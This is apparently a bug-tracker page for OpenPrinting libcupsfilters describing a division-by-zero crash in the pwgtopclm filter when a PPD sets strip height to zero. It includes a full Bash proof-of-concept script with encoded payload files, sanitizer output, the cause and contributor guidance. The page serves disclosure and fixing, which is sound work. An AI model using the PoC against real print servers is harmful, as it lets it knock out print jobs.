OpenPrinting / OpenPrinting/libcupsfilters
pwgtopclm: zero preferred strip height causes division by zero
Nobody has claimed this yet.
- Dominant language
- C
- Stars
- 17
- Forks
- 71
- Avg merge
- 2d 17h
- Merged PRs (30d)
- 13
Description
Summary
cfFilterPWGToPDF() trusts the PCLm
pclm-strip-height-preferred printer attribute and uses it as both a divisor
and modulo operand. A PPD value of zero terminates the standalone
pwgtopclm filter with SIGFPE before raster rows are processed.
This is a reliable job-level denial of service. It does not provide a memory
read or write primitive and requires control of printer capabilities or PPD
configuration.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.
Validated revisions:
- cups-filters:
11d1a190530f85a361a1b3835f57d635256dff1a - libcupsfilters:
905fd94fb22a9298bc8e2c845eb7e04f7055b686 - libppd:
522af8dd135f4dde66b1aac8b9d067808bbe122d
poc/document.pwg is a valid 8x1, 8-bit grayscale compressed Raster page.
poc/candidate.ppd declares:
*cupsPclmStripHeightPreferred: "0"
Their SHA-256 values are
4327175f0762ca5cbc56b4db3aeaa7fa8ad4244c21359430cbe5a34f5b77761e
and
d38cf7941941e179a27cf423b7c4c249cbcd60c9db0de7843d60c571f3476a86.
Run:
./reproduce.sh
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: pwgtopclm: zero preferred strip height causes division by zero
# Finding ID: pwgtopclm-zero-strip-height-fpe
# Trigger: cfFilterPWGToPDF() trusts the PCLm pclm-strip-height-preferred
# printer attribute and uses it as both a divisor and modulo operand. A PPD
# value of zero terminates the standalone pwgtopclm filter with SIGFPE before
# raster rows are processed.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# PPD configuration needed to select the vulnerable filter state.
# Output: candidate.ppd (15392 bytes)
write_file candidate.ppd d38cf7941941e179a27cf423b7c4c249cbcd60c9db0de7843d60c571f3476a86 <<'POC_PAYLOAD_0'
H4sIAAAAAAACA7Vba3PaSBb9HH5FF1VTM0nFlsRDGDKeWoxkB0cgCuE85suWLBqjjVBr9XDi/fV7
W88GtZDAmVQKpNY95z661feAxbvFQrkYr8kjHqF277Lbbr37Df6j1dYOEFxDG9vBCI43xEdRYLtP
yEQL5RZ5vu2G2Ee2i+wwQK4Z2s84vrIja/we/bDDLSUiXmgTFwU4DAEcIIu4oU8cB6/Rsw1U9xoM
7Xamuw4u0TQEHzhAk4eFETOgcIspi+5hd0E90gCsyAsuIC5wHyDPtL6bT/jyMG54wz897Ns77Iam
E3PDmEeCwH6ElMKtGaKA7DAiG+olDTSgJBBMEfCaIJeEaGd+xzDoBmDpZ4OWCeGC+Quytqb7BJfc
hCsKvSikMVG3luki/IxdtDU9yCNxHWdnYT80baY6QLqlKYILCvJ9OPAgPcoEZYLSkISXDmi2ReNZ
o8hdw0yMoRTgOx1Fz51L8RIhA+M4pHge29p0os4NtR1P5474MbHtwtnOpOln1N9IBBm/oMB8pnA6
/xRvBuj3O+xCVa0LmOp/L5JFQI8vPW/9e4JuvbuN+T7D/ADn6E26sG6BohiTLiUY06BsESSYjSPV
fXLsYIuKS6prkTUUZYSmhq5BmK7UereYULa5ucNARd3DnAPdzHSjjWmFkY99uJDGChcWPllHVjhC
yb/2H+mleMWmabwFO7q28hilSzEZobSmMyGejYMRWvkRTsdhqTvzaPcI3hDqgP94gEaVuOF4ASfG
lvjh3La+J5YVVoXBMa6FkZcuSawrSuKlJA7eIpGprwYL0IGK0HmYEIf4Cn6GhTJ6kySj4I0ZOWF8
xYB1BE4ns2+fkjkzXoIQ70Zvbk0nANvV1ifR0xYWOOVLnawDy/Sw7tv0bgvjcBZOFAyhgKvV0gQC
3/4fnZPVi4d7UCmpc9VLYpgqUILZ7d0oTfDDZKaMYF94D4l+mCnaiEn4w0QzRovldL5Slx8U1Rhx
ivJBWX4eKTDwfim9n4kfIMD7iXaDn2w3m/6kVH9KN3/9diF1ur3+13/Rjehev/lTHP+VAFYEKKaU
0PNxSCe4HRup1DfSxvO7h/Gdiq6p6wKluus9Jzw3qn6PKIK9kC6923hXA1ewUzi2FVdSeHbXl/Ge
5603SEQX7VbrHd0Q72AevBGKS2A6Qvoeh0EvP0zRuwVMvQGFF+gBokcwL7CudBcmUvdh21AwmK6x
a72MkCSKCMAGDiOvwOarIxsYIQ32K+y3cpN0QEjeskoZ6gotxgt1ea2pKyhaWqUD0OVt5DiwI+N1
Ckd/3BAamYOD4G1TrnFPGPfKxuNe2ZBxOO7VOOPg+8K4zzHslw1ZR/06R2W8LIxljqFcNmQdyXWO
SnjYVW/6AryiG05iN32uPeMyQda4LdOo7vOkL0w4Lid8W8blpM4dl0IShQnZwSrn2OszSeRCWK8x
uM5zBZOiCbCVlcwVjWvLeFW0Go9liv5PqSuo9tM2RAsCe2I8UAaq07uPq4UOm2n/q9TlkTBhHNLV
BHWcm86nLMArdoiH0YSzztX5Z1XTF+pE5oLZyAqauqCqOX9iK6IKVsiPOPCv6uRhNf2sVqLZqLKx
upiqSOGevJ8a3HsSxsv30949mSBrXPNp5AQs8+3lsv2hW7mBW7ncC56ghcWvvC3/bqxxEXvNA85r
eweHCNbPjLimb22F9L0MnOnz8XLysRrKBJKO1IRSwSgPfw77u50gyZ/KGGP6twoXpGH/Z2cgVkCZ
SMC2JorjjAZIOUw/Pwn5EYdiNV6pM1BFlWgmonysLq4DUlAlE4cE+GE6YoRJSeosQeTF0vMEiZNg
9kRORsPKnGTsZKGzB3u11EnZmoid3PRsuZMxNBA8uenZkidjaCB6ctOzZU/KcILwYRGvkj4pUUPx
w1qfLX8KkhMEEAt6rQQquJqIINb6bBmUkrxWCDE0/4AUYmb3HDHEwn+dHMpYzxVEh/hfJIlS2hNE
UY54rSzKiJoLoxzxWmmUd48TxBGLeaU8KlbYGQKpBP4FEinlPE8k7YN/jUxKOc8WSof4f0IqpQIn
VzjTHQya4GTsY7MQOXvDJZ0jXaGujPrDHhr05TbfulbeiEhEstRBg2GnRJFpmtTRYICuRJljdVTO
UAf9YR9d9TgOUh2TOOiJHdTvDzlWRyUMddDrxE7K0FS7JA46gyHqXvU4VkdlC3XQGQ6okxL0QK+k
iVxBTQcdvnGtVInzGV6hgXhVYmA0SuqqJ8H0dfmGR+VJ7KY/RHJvyEOzuqSonty74hvX6pGsiDKn
/owKSV0Nu6h/NeAbHhUg1E1Xgpp0yjWpUh6Jz26vg4aiyEWdIDTiAGQRDbsyd1IOVUXqXOzD8uJP
Y0MhETvudOmclmm4yiG9rUXYPzgr+yS1EN/knQ53I2L1QeYS7o+hxLGs1QWxI2AZdMqrg1UD2Zz2
4GbscCxrVUAyjx3qjLO1sr2/2IaHnHu+Uc/PNmH4JMy9v8qtPr1PZInO3xFIfYOPb0y4tfu98hrY
b+qJTwnaQKfbq7I93sOpM+jY4LDsjN+w04kcXEH/kasxTZp0PKVDmVa63WK+XPCwr9A/SQcHXzCw
46XmW/RMrmFt363EZ0236Jklg6P9thqXNtuiV5YMjvbZalzaZIseWTI42l8rcQfNtWiKPLvavloJ
Z5pq0RB5Nkf76TEo20yLJsizq+2jx+BZEy0aIM/maP+shFY1z6LXcQAn9M1KHl7TLPocz7hZv6zm
4DbLortVmTfpk5UsbJMs+lvJqLY/VmOZ5lj0tZJRbV+sxO43Raab8ezqGmI1nNsNi/5VaV3fCCtJ
Drpg3r74ZscbYCWa3/3ydlVp3qTxMU2P+XJ+Fz9As4krEh+iWzimj17Fvpp/Y18Q5U21GBoB4abF
2NBzQd9s2E/Ns/H8Yazdqqpyrd9mT26wEFfQ3SrAnPchm4mJk/Q68hz8M0s7OTs13wR1kHFGxeSc
DFVnrTwsNPVrKe8Mxs88Ax3JPY1vL3slyVshEayYC8NeQ22zR/ia56/sZ66kOc8JxSZn8clhvqVM
U9vkbU5W0Q7CEjTiPl2o6yeMHm03eciszBEnno/eTOfKdH53renzO1W5U3n8KXv8nNeZ9MZHfbli
+PeqrnDqHT+7FT9/JsSHzWtcIPcfBIuHRsiixy3GKhnJvBQJLdW5oi5nuqJeT3RNz/5wxQCffPMl
sEwozY1jWt/jBy2/bO0QV9DcLcffjMlY4xaBCXuvEEscECeKn5wqDptXo8Dk1WBpZFFce3aLMYMP
1HRIgDcE7/upGLr2sJrq82u4mibBIBMyQT6KlHlIqZNA6fsRLL3Mqx2T5F7tfBwyRYOWtjVdK20Q
TQsIHHnl4HhEH2oN6BicoLXpfxcUeNkPeHWtjJef0kipnUMlnKDR10NLjf49hTHd4bUd7YRZ/HZo
PFOV6cOMsU6CEeYkRAYucc/1FRwy5pytlNoV+8peWWnqe/V8zHujULTJM7bBgicvbTEELQDWanHO
C/pGX8JNpamGwcTOQg73fhbA3fmZkPZSxrDdhYS+CvHOFxJET5rnWhDkuRZDI/SCoQbFAEwoTCYb
Od00Vzp9helMI2fsAS98o4/xchHfVIOXLBPTXrL/IY9QbLqg7skj0uPD5pnm6DzRfCSZ0/yUN6X3
+g1MpbG3GhnA4YQy5tz5LILZy9AhP4KIPowKZdNdBKcoO2+eKEOSp8qMjeJfBdgufRKZGc5HodUk
B2w+mv7FeFgstKlqQLuZr6bzh6xNsBxBSDxQq8SrwhorfcGrBxvzXkXIM/Z9kDNmjz7D7yTf1ejp
IBr3kkf7sy9vmpaIx5rXincxvRN4l8r3hP5ZXS6nijrufZmuPibPlRR3B5eDc59wWSruGG4+IAao
wf6Dy60W/cVB9iD3I7Ed7HsOfLyIf8cRhNFmQ394EISgFkwfRCQJQsPybS9EG1gXQfJzDYLYv3Hd
EtqxJiTybVpGeorGz6Yb3gEDvrghBBqQkTG2/xBF6VIUZeNtuxhd6jM+Un907P/SxXgOgYJ3Ngc5
aIasdl1FQAMGkV7lt9cANg1Nx7bOAKft+zzcyV7T2T5AdOoRMKnO+kwYf0KaoE9HfsTOMw5tyzxh
5eUYXpLH1s0+8PR1V+Dnpu+TH2fFnEDPD53Bvz6Di9Pv+4LidOwc/5iA7o78F8PaOo/fq6owPAVf
eVMNmrJUMjTOY0ngHj8hhIXp0B99kaoC9JvgKsOuRZ+PrEq0Cmi87B4JfOA2PGzZpnNQmHSwMF/Z
Oxycem8UoMq8hkehJ6+gBHbqpP9teptJ/OHTf7lIPtqd7JlyKPAx69EMg3JVObts8QusTuVPsH48
IfbCYqLtkIhgGCSm5ezS33Et4NAIQaN8xLSXLXy8ATlEv6Fsi3wTA7Qm8cPYRHovyawVdAwLFx/L
WdPku4cjxqkg4plOyM7z4fMbWM1wuCVrNswNVWDt1v8ByvZR0SA8AAA=
POC_PAYLOAD_0
# Malformed or boundary document consumed by the real filter/API.
# Output: document.pwg (1810 bytes)
write_file document.pwg 4327175f0762ca5cbc56b4db3aeaa7fa8ad4244c21359430cbe5a34f5b77761e <<'POC_PAYLOAD_1'
H4sIAAAAAAACAzMKTgwKKE8PSiwuSS1iGAUwoMMIwUJAtgoQBzExMHxhQlUDkyMEUoD6JJhRxTiA
mBGJDcMwcxmQ5FHZki4MDG5APMGRgUHAiaFBBMi2dRmNsVEwCkbBSAU+qSWUVWA/GRQcEhoWHPgP
AC4Njv0SBwAA
POC_PAYLOAD_1
Result
UBSan reports division by zero and ASan reports:
ERROR: AddressSanitizer: FPE
prepare_pdf_page .../cupsfilters/pwgtopdf.c:1329
add_pdf_page .../cupsfilters/pwgtopdf.c:1491
The non-sanitized build exits on SIGFPE with status 136.
Cause and expected behavior
The PPD attribute is converted to an integer printer attribute and copied into
info->pclm_strip_height_preferred without requiring a positive value. Lines
1329-1330 then calculate:
height / info->pclm_strip_height_preferred
height % info->pclm_strip_height_preferred
The filter must reject a non-positive preferred strip height or select a
validated supported/default height before calculating the strip count.
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start in cupsfilters/pwgtopdf.c at lines 1329-1330, where pclm_strip_height_preferred is used for division and modulo. Run reproduce.sh with poc/candidate.ppd and poc/document.pwg to confirm the failure. Done means a zero or non-positive preferred strip height no longer causes SIGFPE and the filter handles the input safely.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- c
- Domain
- backend
- Issue type
- Bug
- Difficulty
- 3/5
- Estimated time
- 1-2 days
- Activity status
- Quiet
- Clarity
- Clearly specified
- Newbie friendliness
- 72/100